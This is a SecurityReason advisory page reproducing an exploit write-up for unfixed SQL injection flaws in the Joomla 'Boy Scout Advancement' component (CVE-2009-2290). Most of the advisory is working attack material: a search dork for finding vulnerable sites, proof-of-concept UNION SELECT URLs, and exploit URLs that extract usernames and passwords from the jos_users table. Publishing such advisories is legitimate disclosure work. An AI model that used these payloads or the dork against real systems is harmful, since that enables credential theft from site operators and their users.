|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 5981 CVE : CVE-2009-2290 CWE : CWE-89 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes Credit : y3nh4ck3r Published : 03.07.2009
Advisory Content : ------------------------------------------------------------------------ ------------------------------------ MULTIPLE SQL INJECTION VULNERABILITIES --Joomla Component 'Boy Scout Advancement' <= v-0.3 (com_bsadv)--> ------------------------------------------------------------------------ ------------------------------------ CMS INFORMATION: -->WEB: http://bsadv.sourceforge.net/ -->DOWNLOAD: http://bsadv.sourceforge.net/ -->DEMO: N/A -->CATEGORY: Joomla/Component -->DESCRIPTION: BSAdv is a Joomla 1.5 component for Boy Scout unit data and advancement data for Boy Scout Troops in the United States... -->RELEASED: 2009-02-01 CMS VULNERABILITY: -->TESTED ON: firefox 3 -->DORK --> inurl:"?option=com_bsadv" -->CATEGORY: SQL INJECTION -->AFFECT VERSION: <= 0.3 -->Discovered Bug date: 2009-05-25 -->Reported Bug date: 2009-05-25 -->Fixed bug date: Not fixed -->Info patch: Not fixed -->Author: YEnH4ckEr -->mail: y3nh4ck3r[at]gmail[dot]com -->WEB/BLOG: N/A -->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. -->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) ############################ /////////////////////////// SQL INJECTION VULNS (SQLi): /////////////////////////// ############################ <<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>> ------------------- PROOFS OF CONCEPT: ------------------- [++] GET var --> 'id' ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=e vent&id=-1+UNION+ALL+SELECT+1,version(),database(),user()%23 [++] GET var --> 'id' ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=a ccount&id=-1+UNION+ALL+SELECT+database(),version()%23&Itemid=57 [++[Return]++] ~~~~~> User, version or database. ----------- EXPLOITS: ----------- ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=e vent&id=-1+UNION+ALL+SELECT+1,concat(username,0x3A3A3A,password),3,4+FRO M+jos_users+WHERE+id=62%23 [++[Return]++] ~~~~~> Username:::password id=62 ~~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=a ccount&id=-1+UNION+ALL+SELECT+username,password+FROM+jos_users+WHERE+id= 62%23&Itemid=57 [++[Return]++] ~~~~~> Username and password id=62  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |